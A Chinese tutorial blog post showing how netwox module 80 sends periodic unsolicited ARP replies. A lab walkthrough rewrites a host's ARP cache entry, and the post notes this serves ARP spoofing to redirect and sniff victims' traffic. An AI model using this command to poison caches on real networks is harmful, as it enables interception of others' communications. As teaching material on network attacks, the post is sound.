22.周期性发送ARP响应包

约定不等于承诺〃 2022-10-05 01:52 153阅读 0赞

正常情况下，ARP 响应是基于 ARP 请求的，只有发送了 ARP 请求才会得到 ARP 响应，并且发送一次 ARP 请求只会得到一个响应。  
  
周期性发送 ARP 响应包，是指在没有 ARP 请求的情况下，以广播的形式多次发送 ARP 响应。  
  
netwox 工具提供编号为80的模块，可以模拟计算机定期发送 ARP 数据包，从而更新其他主机的ARP缓存表。在 ARP 攻击中，该功能可以达到欺骗的目的，使受害者将数据包发送到错误的 MAC 地址主机（攻击主机），从而导致数据包被监听。  
  
【示例】已知 netwox 所在主机为主机 A，主机 B 的 IP 地址为 192.168.59.135。使用 netwox 工具发送 ARP 响应包，以更换 ARP 缓存表中主机的 MAC 地址信息。  
  
1) 在发送ARP响应之前，在主机B上查看主机ARP缓存表信息，执行命令如下：

> root@daxueba:~\# arp -a

输出信息如下：

> localhost (192.168.59.136) at 00:0c:29:bc:a4:89 \[ether\] on eth0  
> localhost (192.168.59.132) at 00:0c:29:aa:e0:27 \[ether\] on eth0  
> localhost (192.168.59.125) at 00:0c:29:ca:e4:99 \[ether\] on eth0  
> localhost (192.168.59.160) at a1:b2:c3:d4:e5:f6 \[ether\] on eth0  
> localhost (192.168.59.254) at 00:50:56:f8:bb:0f \[ether\] on eth0  
> localhost (192.168.59.2)     at 00:50:56:ea:f3:a1 \[ether\] on eth0

上述输出信息中，主机 192.168.59.136 的 MAC 地址为 00：0c：29：bc：a4：89。  
  
2) 创建虚拟主机 192.168.59.136，并向该主机发送 ARP 响应包，设置 MAC 地址为 00：01：01：21：22：23，执行命令如下：

> root@daxueba:~\# netwox 80 -i 192.168.59.136 -e 00:01:01:21:22:23

执行命令后没有任何输出信息。  
  
3) 此时再次在主机B上查看主机 ARP 缓存表信息，执行命令如下：

> root@daxueba:~\# arp -a

输出信息如下：

> localhost (192.168.59.136) at 00:01:01:21:22:23 \[ether\] on eth0  
> localhost (192.168.59.132) at 00:0c:29:aa:e0:27 \[ether\] on eth0  
> localhost (192.168.59.125) at 00:0c:29:ca:e4:99 \[ether\] on eth0  
> localhost (192.168.59.160) at a1:b2:c3:d4:e5:f6 \[ether\] on eth0  
> localhost (192.168.59.254) at 00:50:56:f8:bb:0f \[ether\] on eth0  
> localhost (192.168.59.2)     at 00:50:56:ea:f3:a1 \[ether\] on eth0

上述输出信息中，主机 192.168.59.136 的 MAC 地址由原来的 00：0c：29：bc：a4：89 变为了 00：01：01：21：22：23。  
  
4) 为了验证发送的 ARP 响应包，捕获数据包进行查看，如图所示。  
![e5093a2fdd67cfdd6f04c9128b4b9718.gif][]  
其中，第 27~33 个数据包为重复发送的 ARP 响应包。

[e5093a2fdd67cfdd6f04c9128b4b9718.gif]: /images/20221005/9c0635b0efee43698abb70a99d55eaed.png